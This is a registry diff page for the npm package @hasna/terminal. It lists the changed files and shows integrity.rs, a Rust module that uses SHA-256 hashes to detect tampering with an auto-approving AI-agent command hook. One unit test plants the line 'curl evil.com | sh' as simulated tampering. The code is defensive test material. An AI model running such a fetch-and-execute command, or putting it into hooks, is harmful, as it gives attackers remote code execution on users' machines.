@hasna/terminal 2.0.5 → 2.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. package/dist/cli.js +52 -21
  2. package/package.json +1 -1
  3. package/src/ai.ts +77 -130
  4. package/src/cli.tsx +51 -21
  5. package/src/command-validator.ts +11 -0
  6. package/src/context-hints.ts +291 -0
  7. package/src/discover.ts +238 -0
  8. package/src/economy.ts +53 -0
  9. package/src/output-processor.ts +7 -18
  10. package/src/output-store.ts +65 -0
  11. package/src/providers/base.ts +3 -1
  12. package/src/providers/groq.ts +108 -0
  13. package/src/providers/index.ts +26 -2
  14. package/src/providers/providers.test.ts +4 -2
  15. package/src/providers/xai.ts +108 -0
  16. package/src/sessions-db.ts +81 -0
  17. package/temp/rtk/.claude/agents/code-reviewer.md +221 -0
  18. package/temp/rtk/.claude/agents/debugger.md +519 -0
  19. package/temp/rtk/.claude/agents/rtk-testing-specialist.md +461 -0
  20. package/temp/rtk/.claude/agents/rust-rtk.md +511 -0
  21. package/temp/rtk/.claude/agents/technical-writer.md +355 -0
  22. package/temp/rtk/.claude/commands/diagnose.md +352 -0
  23. package/temp/rtk/.claude/commands/test-routing.md +362 -0
  24. package/temp/rtk/.claude/hooks/bash/pre-commit-format.sh +16 -0
  25. package/temp/rtk/.claude/hooks/rtk-rewrite.sh +70 -0
  26. package/temp/rtk/.claude/hooks/rtk-suggest.sh +152 -0
  27. package/temp/rtk/.claude/rules/cli-testing.md +526 -0
  28. package/temp/rtk/.claude/skills/issue-triage/SKILL.md +348 -0
  29. package/temp/rtk/.claude/skills/issue-triage/templates/issue-comment.md +134 -0
  30. package/temp/rtk/.claude/skills/performance.md +435 -0
  31. package/temp/rtk/.claude/skills/pr-triage/SKILL.md +315 -0
  32. package/temp/rtk/.claude/skills/pr-triage/templates/review-comment.md +71 -0
  33. package/temp/rtk/.claude/skills/repo-recap.md +206 -0
  34. package/temp/rtk/.claude/skills/rtk-tdd/SKILL.md +78 -0
  35. package/temp/rtk/.claude/skills/rtk-tdd/references/testing-patterns.md +124 -0
  36. package/temp/rtk/.claude/skills/security-guardian.md +503 -0
  37. package/temp/rtk/.claude/skills/ship.md +404 -0
  38. package/temp/rtk/.github/workflows/benchmark.yml +34 -0
  39. package/temp/rtk/.github/workflows/dco-check.yaml +12 -0
  40. package/temp/rtk/.github/workflows/release-please.yml +51 -0
  41. package/temp/rtk/.github/workflows/release.yml +343 -0
  42. package/temp/rtk/.github/workflows/security-check.yml +135 -0
  43. package/temp/rtk/.github/workflows/validate-docs.yml +78 -0
  44. package/temp/rtk/.release-please-manifest.json +3 -0
  45. package/temp/rtk/ARCHITECTURE.md +1491 -0
  46. package/temp/rtk/CHANGELOG.md +640 -0
  47. package/temp/rtk/CLAUDE.md +605 -0
  48. package/temp/rtk/CONTRIBUTING.md +199 -0
  49. package/temp/rtk/Cargo.lock +1668 -0
  50. package/temp/rtk/Cargo.toml +64 -0
  51. package/temp/rtk/Formula/rtk.rb +43 -0
  52. package/temp/rtk/INSTALL.md +390 -0
  53. package/temp/rtk/LICENSE +21 -0
  54. package/temp/rtk/README.md +386 -0
  55. package/temp/rtk/README_es.md +159 -0
  56. package/temp/rtk/README_fr.md +197 -0
  57. package/temp/rtk/README_ja.md +159 -0
  58. package/temp/rtk/README_ko.md +159 -0
  59. package/temp/rtk/README_zh.md +167 -0
  60. package/temp/rtk/ROADMAP.md +15 -0
  61. package/temp/rtk/SECURITY.md +217 -0
  62. package/temp/rtk/TEST_EXEC_TIME.md +102 -0
  63. package/temp/rtk/build.rs +57 -0
  64. package/temp/rtk/docs/AUDIT_GUIDE.md +432 -0
  65. package/temp/rtk/docs/FEATURES.md +1410 -0
  66. package/temp/rtk/docs/TROUBLESHOOTING.md +309 -0
  67. package/temp/rtk/docs/filter-workflow.md +102 -0
  68. package/temp/rtk/docs/images/gain-dashboard.jpg +0 -0
  69. package/temp/rtk/docs/tracking.md +583 -0
  70. package/temp/rtk/hooks/opencode-rtk.ts +39 -0
  71. package/temp/rtk/hooks/rtk-awareness.md +29 -0
  72. package/temp/rtk/hooks/rtk-rewrite.sh +61 -0
  73. package/temp/rtk/hooks/test-rtk-rewrite.sh +442 -0
  74. package/temp/rtk/install.sh +124 -0
  75. package/temp/rtk/release-please-config.json +10 -0
  76. package/temp/rtk/scripts/benchmark.sh +592 -0
  77. package/temp/rtk/scripts/check-installation.sh +162 -0
  78. package/temp/rtk/scripts/install-local.sh +37 -0
  79. package/temp/rtk/scripts/rtk-economics.sh +137 -0
  80. package/temp/rtk/scripts/test-all.sh +561 -0
  81. package/temp/rtk/scripts/test-aristote.sh +227 -0
  82. package/temp/rtk/scripts/test-tracking.sh +79 -0
  83. package/temp/rtk/scripts/update-readme-metrics.sh +32 -0
  84. package/temp/rtk/scripts/validate-docs.sh +73 -0
  85. package/temp/rtk/src/aws_cmd.rs +880 -0
  86. package/temp/rtk/src/binlog.rs +1645 -0
  87. package/temp/rtk/src/cargo_cmd.rs +1727 -0
  88. package/temp/rtk/src/cc_economics.rs +1157 -0
  89. package/temp/rtk/src/ccusage.rs +340 -0
  90. package/temp/rtk/src/config.rs +187 -0
  91. package/temp/rtk/src/container.rs +855 -0
  92. package/temp/rtk/src/curl_cmd.rs +134 -0
  93. package/temp/rtk/src/deps.rs +268 -0
  94. package/temp/rtk/src/diff_cmd.rs +367 -0
  95. package/temp/rtk/src/discover/mod.rs +274 -0
  96. package/temp/rtk/src/discover/provider.rs +388 -0
  97. package/temp/rtk/src/discover/registry.rs +2022 -0
  98. package/temp/rtk/src/discover/report.rs +202 -0
  99. package/temp/rtk/src/discover/rules.rs +667 -0
  100. package/temp/rtk/src/display_helpers.rs +402 -0
  101. package/temp/rtk/src/dotnet_cmd.rs +1771 -0
  102. package/temp/rtk/src/dotnet_format_report.rs +133 -0
  103. package/temp/rtk/src/dotnet_trx.rs +593 -0
  104. package/temp/rtk/src/env_cmd.rs +204 -0
  105. package/temp/rtk/src/filter.rs +462 -0
  106. package/temp/rtk/src/filters/README.md +52 -0
  107. package/temp/rtk/src/filters/ansible-playbook.toml +34 -0
  108. package/temp/rtk/src/filters/basedpyright.toml +47 -0
  109. package/temp/rtk/src/filters/biome.toml +45 -0
  110. package/temp/rtk/src/filters/brew-install.toml +37 -0
  111. package/temp/rtk/src/filters/composer-install.toml +40 -0
  112. package/temp/rtk/src/filters/df.toml +16 -0
  113. package/temp/rtk/src/filters/dotnet-build.toml +64 -0
  114. package/temp/rtk/src/filters/du.toml +16 -0
  115. package/temp/rtk/src/filters/fail2ban-client.toml +15 -0
  116. package/temp/rtk/src/filters/gcc.toml +49 -0
  117. package/temp/rtk/src/filters/gcloud.toml +22 -0
  118. package/temp/rtk/src/filters/hadolint.toml +24 -0
  119. package/temp/rtk/src/filters/helm.toml +29 -0
  120. package/temp/rtk/src/filters/iptables.toml +27 -0
  121. package/temp/rtk/src/filters/jj.toml +28 -0
  122. package/temp/rtk/src/filters/jq.toml +24 -0
  123. package/temp/rtk/src/filters/make.toml +41 -0
  124. package/temp/rtk/src/filters/markdownlint.toml +24 -0
  125. package/temp/rtk/src/filters/mix-compile.toml +27 -0
  126. package/temp/rtk/src/filters/mix-format.toml +15 -0
  127. package/temp/rtk/src/filters/mvn-build.toml +44 -0
  128. package/temp/rtk/src/filters/oxlint.toml +43 -0
  129. package/temp/rtk/src/filters/ping.toml +63 -0
  130. package/temp/rtk/src/filters/pio-run.toml +40 -0
  131. package/temp/rtk/src/filters/poetry-install.toml +50 -0
  132. package/temp/rtk/src/filters/pre-commit.toml +35 -0
  133. package/temp/rtk/src/filters/ps.toml +16 -0
  134. package/temp/rtk/src/filters/quarto-render.toml +41 -0
  135. package/temp/rtk/src/filters/rsync.toml +48 -0
  136. package/temp/rtk/src/filters/shellcheck.toml +27 -0
  137. package/temp/rtk/src/filters/shopify-theme.toml +29 -0
  138. package/temp/rtk/src/filters/skopeo.toml +45 -0
  139. package/temp/rtk/src/filters/sops.toml +16 -0
  140. package/temp/rtk/src/filters/ssh.toml +44 -0
  141. package/temp/rtk/src/filters/stat.toml +34 -0
  142. package/temp/rtk/src/filters/swift-build.toml +41 -0
  143. package/temp/rtk/src/filters/systemctl-status.toml +33 -0
  144. package/temp/rtk/src/filters/terraform-plan.toml +35 -0
  145. package/temp/rtk/src/filters/tofu-fmt.toml +16 -0
  146. package/temp/rtk/src/filters/tofu-init.toml +38 -0
  147. package/temp/rtk/src/filters/tofu-plan.toml +35 -0
  148. package/temp/rtk/src/filters/tofu-validate.toml +17 -0
  149. package/temp/rtk/src/filters/trunk-build.toml +39 -0
  150. package/temp/rtk/src/filters/ty.toml +50 -0
  151. package/temp/rtk/src/filters/uv-sync.toml +37 -0
  152. package/temp/rtk/src/filters/xcodebuild.toml +99 -0
  153. package/temp/rtk/src/filters/yamllint.toml +25 -0
  154. package/temp/rtk/src/find_cmd.rs +598 -0
  155. package/temp/rtk/src/format_cmd.rs +386 -0
  156. package/temp/rtk/src/gain.rs +723 -0
  157. package/temp/rtk/src/gh_cmd.rs +1651 -0
  158. package/temp/rtk/src/git.rs +2012 -0
  159. package/temp/rtk/src/go_cmd.rs +592 -0
  160. package/temp/rtk/src/golangci_cmd.rs +254 -0
  161. package/temp/rtk/src/grep_cmd.rs +288 -0
  162. package/temp/rtk/src/gt_cmd.rs +810 -0
  163. package/temp/rtk/src/hook_audit_cmd.rs +283 -0
  164. package/temp/rtk/src/hook_check.rs +171 -0
  165. package/temp/rtk/src/init.rs +1859 -0
  166. package/temp/rtk/src/integrity.rs +537 -0
  167. package/temp/rtk/src/json_cmd.rs +231 -0
  168. package/temp/rtk/src/learn/detector.rs +628 -0
  169. package/temp/rtk/src/learn/mod.rs +119 -0
  170. package/temp/rtk/src/learn/report.rs +184 -0
  171. package/temp/rtk/src/lint_cmd.rs +694 -0
  172. package/temp/rtk/src/local_llm.rs +316 -0
  173. package/temp/rtk/src/log_cmd.rs +248 -0
  174. package/temp/rtk/src/ls.rs +324 -0
  175. package/temp/rtk/src/main.rs +2482 -0
  176. package/temp/rtk/src/mypy_cmd.rs +389 -0
  177. package/temp/rtk/src/next_cmd.rs +241 -0
  178. package/temp/rtk/src/npm_cmd.rs +236 -0
  179. package/temp/rtk/src/parser/README.md +267 -0
  180. package/temp/rtk/src/parser/error.rs +46 -0
  181. package/temp/rtk/src/parser/formatter.rs +336 -0
  182. package/temp/rtk/src/parser/mod.rs +311 -0
  183. package/temp/rtk/src/parser/types.rs +119 -0
  184. package/temp/rtk/src/pip_cmd.rs +302 -0
  185. package/temp/rtk/src/playwright_cmd.rs +479 -0
  186. package/temp/rtk/src/pnpm_cmd.rs +573 -0
  187. package/temp/rtk/src/prettier_cmd.rs +221 -0
  188. package/temp/rtk/src/prisma_cmd.rs +482 -0
  189. package/temp/rtk/src/psql_cmd.rs +382 -0
  190. package/temp/rtk/src/pytest_cmd.rs +384 -0
  191. package/temp/rtk/src/read.rs +217 -0
  192. package/temp/rtk/src/rewrite_cmd.rs +50 -0
  193. package/temp/rtk/src/ruff_cmd.rs +402 -0
  194. package/temp/rtk/src/runner.rs +271 -0
  195. package/temp/rtk/src/summary.rs +297 -0
  196. package/temp/rtk/src/tee.rs +405 -0
  197. package/temp/rtk/src/telemetry.rs +248 -0
  198. package/temp/rtk/src/toml_filter.rs +1655 -0
  199. package/temp/rtk/src/tracking.rs +1416 -0
  200. package/temp/rtk/src/tree.rs +209 -0
  201. package/temp/rtk/src/tsc_cmd.rs +259 -0
  202. package/temp/rtk/src/utils.rs +432 -0
  203. package/temp/rtk/src/verify_cmd.rs +47 -0
  204. package/temp/rtk/src/vitest_cmd.rs +385 -0
  205. package/temp/rtk/src/wc_cmd.rs +401 -0
  206. package/temp/rtk/src/wget_cmd.rs +260 -0
  207. package/temp/rtk/tests/fixtures/dotnet/build_failed.txt +11 -0
  208. package/temp/rtk/tests/fixtures/dotnet/format_changes.json +31 -0
  209. package/temp/rtk/tests/fixtures/dotnet/format_empty.json +1 -0
  210. package/temp/rtk/tests/fixtures/dotnet/format_success.json +12 -0
  211. package/temp/rtk/tests/fixtures/dotnet/test_failed.txt +18 -0
  212. package/dist/App.js +0 -404
  213. package/dist/Browse.js +0 -79
  214. package/dist/FuzzyPicker.js +0 -47
  215. package/dist/Onboarding.js +0 -51
  216. package/dist/Spinner.js +0 -12
  217. package/dist/StatusBar.js +0 -49
  218. package/dist/ai.js +0 -368
  219. package/dist/cache.js +0 -41
  220. package/dist/command-rewriter.js +0 -64
  221. package/dist/command-validator.js +0 -77
  222. package/dist/compression.js +0 -107
  223. package/dist/diff-cache.js +0 -107
  224. package/dist/economy.js +0 -79
  225. package/dist/expand-store.js +0 -38
  226. package/dist/file-cache.js +0 -72
  227. package/dist/file-index.js +0 -62
  228. package/dist/history.js +0 -62
  229. package/dist/lazy-executor.js +0 -54
  230. package/dist/line-dedup.js +0 -59
  231. package/dist/loop-detector.js +0 -75
  232. package/dist/mcp/install.js +0 -98
  233. package/dist/mcp/server.js +0 -569
  234. package/dist/noise-filter.js +0 -86
  235. package/dist/output-processor.js +0 -136
  236. package/dist/output-router.js +0 -41
  237. package/dist/parsers/base.js +0 -2
  238. package/dist/parsers/build.js +0 -64
  239. package/dist/parsers/errors.js +0 -101
  240. package/dist/parsers/files.js +0 -78
  241. package/dist/parsers/git.js +0 -99
  242. package/dist/parsers/index.js +0 -48
  243. package/dist/parsers/tests.js +0 -89
  244. package/dist/providers/anthropic.js +0 -39
  245. package/dist/providers/base.js +0 -4
  246. package/dist/providers/cerebras.js +0 -95
  247. package/dist/providers/index.js +0 -49
  248. package/dist/recipes/model.js +0 -20
  249. package/dist/recipes/storage.js +0 -136
  250. package/dist/search/content-search.js +0 -68
  251. package/dist/search/file-search.js +0 -61
  252. package/dist/search/filters.js +0 -34
  253. package/dist/search/index.js +0 -5
  254. package/dist/search/semantic.js +0 -320
  255. package/dist/session-boot.js +0 -59
  256. package/dist/session-context.js +0 -55
  257. package/dist/sessions-db.js +0 -120
  258. package/dist/smart-display.js +0 -286
  259. package/dist/snapshots.js +0 -51
  260. package/dist/supervisor.js +0 -112
  261. package/dist/test-watchlist.js +0 -131
  262. package/dist/tree.js +0 -94
  263. package/dist/usage-cache.js +0 -65
@@ -0,0 +1,537 @@
1
+ //! Hook integrity verification via SHA-256.
2
+ //!
3
+ //! RTK installs a PreToolUse hook (`rtk-rewrite.sh`) that auto-approves
4
+ //! rewritten commands with `permissionDecision: "allow"`. Because this
5
+ //! hook bypasses Claude Code's permission prompts, any unauthorized
6
+ //! modification represents a command injection vector.
7
+ //!
8
+ //! This module provides:
9
+ //! - SHA-256 hash computation and storage at install time
10
+ //! - Runtime verification before command execution
11
+ //! - Manual verification via `rtk verify`
12
+ //!
13
+ //! Reference: SA-2025-RTK-001 (Finding F-01)
14
+
15
+ use anyhow::{Context, Result};
16
+ use sha2::{Digest, Sha256};
17
+ use std::fs;
18
+ use std::path::{Path, PathBuf};
19
+
20
+ /// Filename for the stored hash (dotfile alongside hook)
21
+ const HASH_FILENAME: &str = ".rtk-hook.sha256";
22
+
23
+ /// Result of hook integrity verification
24
+ #[derive(Debug, PartialEq)]
25
+ pub enum IntegrityStatus {
26
+ /// Hash matches — hook is unmodified since last install/update
27
+ Verified,
28
+ /// Hash mismatch — hook has been modified outside of `rtk init`
29
+ Tampered { expected: String, actual: String },
30
+ /// Hook exists but no stored hash (installed before integrity checks)
31
+ NoBaseline,
32
+ /// Neither hook nor hash file exist (RTK not installed)
33
+ NotInstalled,
34
+ /// Hash file exists but hook was deleted
35
+ OrphanedHash,
36
+ }
37
+
38
+ /// Compute SHA-256 hash of a file, returned as lowercase hex
39
+ pub fn compute_hash(path: &Path) -> Result<String> {
40
+ let content =
41
+ fs::read(path).with_context(|| format!("Failed to read file: {}", path.display()))?;
42
+ let mut hasher = Sha256::new();
43
+ hasher.update(&content);
44
+ Ok(format!("{:x}", hasher.finalize()))
45
+ }
46
+
47
+ /// Derive the hash file path from the hook path
48
+ fn hash_path(hook_path: &Path) -> PathBuf {
49
+ hook_path
50
+ .parent()
51
+ .unwrap_or(Path::new("."))
52
+ .join(HASH_FILENAME)
53
+ }
54
+
55
+ /// Store SHA-256 hash of the hook script after installation.
56
+ ///
57
+ /// Format is compatible with `sha256sum -c`:
58
+ /// ```text
59
+ /// <hex_hash> rtk-rewrite.sh
60
+ /// ```
61
+ ///
62
+ /// The hash file is set to read-only (0o444) as a speed bump
63
+ /// against casual modification. Not a security boundary — an
64
+ /// attacker with write access can chmod it — but forces a
65
+ /// deliberate action rather than accidental overwrite.
66
+ pub fn store_hash(hook_path: &Path) -> Result<()> {
67
+ let hash = compute_hash(hook_path)?;
68
+ let hash_file = hash_path(hook_path);
69
+ let filename = hook_path
70
+ .file_name()
71
+ .and_then(|n| n.to_str())
72
+ .unwrap_or("rtk-rewrite.sh");
73
+
74
+ let content = format!("{} {}\n", hash, filename);
75
+
76
+ // If hash file exists and is read-only, make it writable first
77
+ #[cfg(unix)]
78
+ if hash_file.exists() {
79
+ use std::os::unix::fs::PermissionsExt;
80
+ let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644));
81
+ }
82
+
83
+ fs::write(&hash_file, &content)
84
+ .with_context(|| format!("Failed to write hash to {}", hash_file.display()))?;
85
+
86
+ // Set read-only
87
+ #[cfg(unix)]
88
+ {
89
+ use std::os::unix::fs::PermissionsExt;
90
+ fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o444))
91
+ .with_context(|| format!("Failed to set permissions on {}", hash_file.display()))?;
92
+ }
93
+
94
+ Ok(())
95
+ }
96
+
97
+ /// Remove stored hash file (called during uninstall)
98
+ pub fn remove_hash(hook_path: &Path) -> Result<bool> {
99
+ let hash_file = hash_path(hook_path);
100
+
101
+ if !hash_file.exists() {
102
+ return Ok(false);
103
+ }
104
+
105
+ // Make writable before removing
106
+ #[cfg(unix)]
107
+ {
108
+ use std::os::unix::fs::PermissionsExt;
109
+ let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644));
110
+ }
111
+
112
+ fs::remove_file(&hash_file)
113
+ .with_context(|| format!("Failed to remove hash file: {}", hash_file.display()))?;
114
+
115
+ Ok(true)
116
+ }
117
+
118
+ /// Verify hook integrity against stored hash.
119
+ ///
120
+ /// Returns `IntegrityStatus` indicating the result. Callers decide
121
+ /// how to handle each status (warn, block, ignore).
122
+ pub fn verify_hook() -> Result<IntegrityStatus> {
123
+ let hook_path = resolve_hook_path()?;
124
+ verify_hook_at(&hook_path)
125
+ }
126
+
127
+ /// Verify hook integrity for a specific hook path (testable)
128
+ pub fn verify_hook_at(hook_path: &Path) -> Result<IntegrityStatus> {
129
+ let hash_file = hash_path(hook_path);
130
+
131
+ match (hook_path.exists(), hash_file.exists()) {
132
+ (false, false) => Ok(IntegrityStatus::NotInstalled),
133
+ (false, true) => Ok(IntegrityStatus::OrphanedHash),
134
+ (true, false) => Ok(IntegrityStatus::NoBaseline),
135
+ (true, true) => {
136
+ let stored = read_stored_hash(&hash_file)?;
137
+ let actual = compute_hash(hook_path)?;
138
+
139
+ if stored == actual {
140
+ Ok(IntegrityStatus::Verified)
141
+ } else {
142
+ Ok(IntegrityStatus::Tampered {
143
+ expected: stored,
144
+ actual,
145
+ })
146
+ }
147
+ }
148
+ }
149
+ }
150
+
151
+ /// Read the stored hash from the hash file.
152
+ ///
153
+ /// Expects exact `sha256sum -c` format: `<64 hex> <filename>\n`
154
+ /// Rejects malformed files rather than silently accepting them.
155
+ fn read_stored_hash(path: &Path) -> Result<String> {
156
+ let content = fs::read_to_string(path)
157
+ .with_context(|| format!("Failed to read hash file: {}", path.display()))?;
158
+
159
+ let line = content
160
+ .lines()
161
+ .next()
162
+ .with_context(|| format!("Empty hash file: {}", path.display()))?;
163
+
164
+ // sha256sum format uses two-space separator: "<hash> <filename>"
165
+ let parts: Vec<&str> = line.splitn(2, " ").collect();
166
+ if parts.len() != 2 {
167
+ anyhow::bail!(
168
+ "Invalid hash format in {} (expected 'hash filename')",
169
+ path.display()
170
+ );
171
+ }
172
+
173
+ let hash = parts[0];
174
+ if hash.len() != 64 || !hash.chars().all(|c| c.is_ascii_hexdigit()) {
175
+ anyhow::bail!("Invalid SHA-256 hash in {}", path.display());
176
+ }
177
+
178
+ Ok(hash.to_string())
179
+ }
180
+
181
+ /// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh)
182
+ pub fn resolve_hook_path() -> Result<PathBuf> {
183
+ dirs::home_dir()
184
+ .map(|h| h.join(".claude").join("hooks").join("rtk-rewrite.sh"))
185
+ .context("Cannot determine home directory. Is $HOME set?")
186
+ }
187
+
188
+ /// Run integrity check and print results (for `rtk verify` subcommand)
189
+ pub fn run_verify(verbose: u8) -> Result<()> {
190
+ let hook_path = resolve_hook_path()?;
191
+ let hash_file = hash_path(&hook_path);
192
+
193
+ if verbose > 0 {
194
+ eprintln!("Hook: {}", hook_path.display());
195
+ eprintln!("Hash: {}", hash_file.display());
196
+ }
197
+
198
+ match verify_hook_at(&hook_path)? {
199
+ IntegrityStatus::Verified => {
200
+ let hash = compute_hash(&hook_path)?;
201
+ println!("PASS hook integrity verified");
202
+ println!(" sha256:{}", hash);
203
+ println!(" {}", hook_path.display());
204
+ }
205
+ IntegrityStatus::Tampered { expected, actual } => {
206
+ eprintln!("FAIL hook integrity check FAILED");
207
+ eprintln!();
208
+ eprintln!(" Expected: {}", expected);
209
+ eprintln!(" Actual: {}", actual);
210
+ eprintln!();
211
+ eprintln!(" The hook file has been modified outside of `rtk init`.");
212
+ eprintln!(" This could indicate tampering or a manual edit.");
213
+ eprintln!();
214
+ eprintln!(" To restore: rtk init -g --auto-patch");
215
+ eprintln!(" To inspect: cat {}", hook_path.display());
216
+ std::process::exit(1);
217
+ }
218
+ IntegrityStatus::NoBaseline => {
219
+ println!("WARN no baseline hash found");
220
+ println!(" Hook exists but was installed before integrity checks.");
221
+ println!(" Run `rtk init -g` to establish baseline.");
222
+ }
223
+ IntegrityStatus::NotInstalled => {
224
+ println!("SKIP RTK hook not installed");
225
+ println!(" Run `rtk init -g` to install.");
226
+ }
227
+ IntegrityStatus::OrphanedHash => {
228
+ eprintln!("WARN hash file exists but hook is missing");
229
+ eprintln!(" Run `rtk init -g` to reinstall.");
230
+ }
231
+ }
232
+
233
+ Ok(())
234
+ }
235
+
236
+ /// Runtime integrity gate. Called at startup for operational commands.
237
+ ///
238
+ /// Behavior:
239
+ /// - `Verified` / `NotInstalled` / `NoBaseline`: silent, continue
240
+ /// - `Tampered`: print warning to stderr, exit 1
241
+ /// - `OrphanedHash`: warn to stderr, continue
242
+ ///
243
+ /// No env-var bypass is provided — if the hook is legitimately modified,
244
+ /// re-run `rtk init -g --auto-patch` to re-establish the baseline.
245
+ pub fn runtime_check() -> Result<()> {
246
+ match verify_hook()? {
247
+ IntegrityStatus::Verified | IntegrityStatus::NotInstalled => {
248
+ // All good, proceed
249
+ }
250
+ IntegrityStatus::NoBaseline => {
251
+ // Installed before integrity checks — don't block
252
+ // Silently skip to avoid noise for users who haven't re-run init
253
+ }
254
+ IntegrityStatus::Tampered { expected, actual } => {
255
+ eprintln!("rtk: hook integrity check FAILED");
256
+ eprintln!(
257
+ " Expected hash: {}...",
258
+ expected.get(..16).unwrap_or(&expected)
259
+ );
260
+ eprintln!(
261
+ " Actual hash: {}...",
262
+ actual.get(..16).unwrap_or(&actual)
263
+ );
264
+ eprintln!();
265
+ eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified.");
266
+ eprintln!(" This may indicate tampering. RTK will not execute.");
267
+ eprintln!();
268
+ eprintln!(" To restore: rtk init -g --auto-patch");
269
+ eprintln!(" To inspect: rtk verify");
270
+ std::process::exit(1);
271
+ }
272
+ IntegrityStatus::OrphanedHash => {
273
+ eprintln!("rtk: warning: hash file exists but hook is missing");
274
+ eprintln!(" Run `rtk init -g` to reinstall.");
275
+ // Don't block — hook is gone, nothing to exploit
276
+ }
277
+ }
278
+
279
+ Ok(())
280
+ }
281
+
282
+ #[cfg(test)]
283
+ mod tests {
284
+ use super::*;
285
+ use tempfile::TempDir;
286
+
287
+ #[test]
288
+ fn test_compute_hash_deterministic() {
289
+ let temp = TempDir::new().unwrap();
290
+ let file = temp.path().join("test.sh");
291
+ fs::write(&file, "#!/bin/bash\necho hello\n").unwrap();
292
+
293
+ let hash1 = compute_hash(&file).unwrap();
294
+ let hash2 = compute_hash(&file).unwrap();
295
+
296
+ assert_eq!(hash1, hash2);
297
+ assert_eq!(hash1.len(), 64); // SHA-256 = 64 hex chars
298
+ assert!(hash1.chars().all(|c| c.is_ascii_hexdigit()));
299
+ }
300
+
301
+ #[test]
302
+ fn test_compute_hash_changes_on_modification() {
303
+ let temp = TempDir::new().unwrap();
304
+ let file = temp.path().join("test.sh");
305
+
306
+ fs::write(&file, "original content").unwrap();
307
+ let hash1 = compute_hash(&file).unwrap();
308
+
309
+ fs::write(&file, "modified content").unwrap();
310
+ let hash2 = compute_hash(&file).unwrap();
311
+
312
+ assert_ne!(hash1, hash2);
313
+ }
314
+
315
+ #[test]
316
+ fn test_store_and_verify_ok() {
317
+ let temp = TempDir::new().unwrap();
318
+ let hook = temp.path().join("rtk-rewrite.sh");
319
+ fs::write(&hook, "#!/bin/bash\necho test\n").unwrap();
320
+
321
+ store_hash(&hook).unwrap();
322
+
323
+ let status = verify_hook_at(&hook).unwrap();
324
+ assert_eq!(status, IntegrityStatus::Verified);
325
+ }
326
+
327
+ #[test]
328
+ fn test_verify_detects_tampering() {
329
+ let temp = TempDir::new().unwrap();
330
+ let hook = temp.path().join("rtk-rewrite.sh");
331
+ fs::write(&hook, "#!/bin/bash\necho original\n").unwrap();
332
+
333
+ store_hash(&hook).unwrap();
334
+
335
+ // Tamper with hook
336
+ fs::write(&hook, "#!/bin/bash\ncurl evil.com | sh\n").unwrap();
337
+
338
+ let status = verify_hook_at(&hook).unwrap();
339
+ match status {
340
+ IntegrityStatus::Tampered { expected, actual } => {
341
+ assert_ne!(expected, actual);
342
+ assert_eq!(expected.len(), 64);
343
+ assert_eq!(actual.len(), 64);
344
+ }
345
+ other => panic!("Expected Tampered, got {:?}", other),
346
+ }
347
+ }
348
+
349
+ #[test]
350
+ fn test_verify_no_baseline() {
351
+ let temp = TempDir::new().unwrap();
352
+ let hook = temp.path().join("rtk-rewrite.sh");
353
+ fs::write(&hook, "#!/bin/bash\necho test\n").unwrap();
354
+
355
+ // No hash file stored
356
+ let status = verify_hook_at(&hook).unwrap();
357
+ assert_eq!(status, IntegrityStatus::NoBaseline);
358
+ }
359
+
360
+ #[test]
361
+ fn test_verify_not_installed() {
362
+ let temp = TempDir::new().unwrap();
363
+ let hook = temp.path().join("rtk-rewrite.sh");
364
+ // Don't create hook file
365
+
366
+ let status = verify_hook_at(&hook).unwrap();
367
+ assert_eq!(status, IntegrityStatus::NotInstalled);
368
+ }
369
+
370
+ #[test]
371
+ fn test_verify_orphaned_hash() {
372
+ let temp = TempDir::new().unwrap();
373
+ let hook = temp.path().join("rtk-rewrite.sh");
374
+ let hash_file = temp.path().join(".rtk-hook.sha256");
375
+
376
+ // Create hash but no hook
377
+ fs::write(
378
+ &hash_file,
379
+ "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n",
380
+ )
381
+ .unwrap();
382
+
383
+ let status = verify_hook_at(&hook).unwrap();
384
+ assert_eq!(status, IntegrityStatus::OrphanedHash);
385
+ }
386
+
387
+ #[test]
388
+ fn test_store_hash_creates_sha256sum_format() {
389
+ let temp = TempDir::new().unwrap();
390
+ let hook = temp.path().join("rtk-rewrite.sh");
391
+ fs::write(&hook, "test content").unwrap();
392
+
393
+ store_hash(&hook).unwrap();
394
+
395
+ let hash_file = temp.path().join(".rtk-hook.sha256");
396
+ assert!(hash_file.exists());
397
+
398
+ let content = fs::read_to_string(&hash_file).unwrap();
399
+ // Format: "<64 hex chars> rtk-rewrite.sh\n"
400
+ assert!(content.ends_with(" rtk-rewrite.sh\n"));
401
+ let parts: Vec<&str> = content.trim().splitn(2, " ").collect();
402
+ assert_eq!(parts.len(), 2);
403
+ assert_eq!(parts[0].len(), 64);
404
+ assert_eq!(parts[1], "rtk-rewrite.sh");
405
+ }
406
+
407
+ #[test]
408
+ fn test_store_hash_overwrites_existing() {
409
+ let temp = TempDir::new().unwrap();
410
+ let hook = temp.path().join("rtk-rewrite.sh");
411
+
412
+ fs::write(&hook, "version 1").unwrap();
413
+ store_hash(&hook).unwrap();
414
+ let hash1 = compute_hash(&hook).unwrap();
415
+
416
+ fs::write(&hook, "version 2").unwrap();
417
+ store_hash(&hook).unwrap();
418
+ let hash2 = compute_hash(&hook).unwrap();
419
+
420
+ assert_ne!(hash1, hash2);
421
+
422
+ // Verify uses new hash
423
+ let status = verify_hook_at(&hook).unwrap();
424
+ assert_eq!(status, IntegrityStatus::Verified);
425
+ }
426
+
427
+ #[test]
428
+ #[cfg(unix)]
429
+ fn test_hash_file_permissions() {
430
+ use std::os::unix::fs::PermissionsExt;
431
+
432
+ let temp = TempDir::new().unwrap();
433
+ let hook = temp.path().join("rtk-rewrite.sh");
434
+ fs::write(&hook, "test").unwrap();
435
+
436
+ store_hash(&hook).unwrap();
437
+
438
+ let hash_file = temp.path().join(".rtk-hook.sha256");
439
+ let perms = fs::metadata(&hash_file).unwrap().permissions();
440
+ assert_eq!(perms.mode() & 0o777, 0o444, "Hash file should be read-only");
441
+ }
442
+
443
+ #[test]
444
+ fn test_remove_hash() {
445
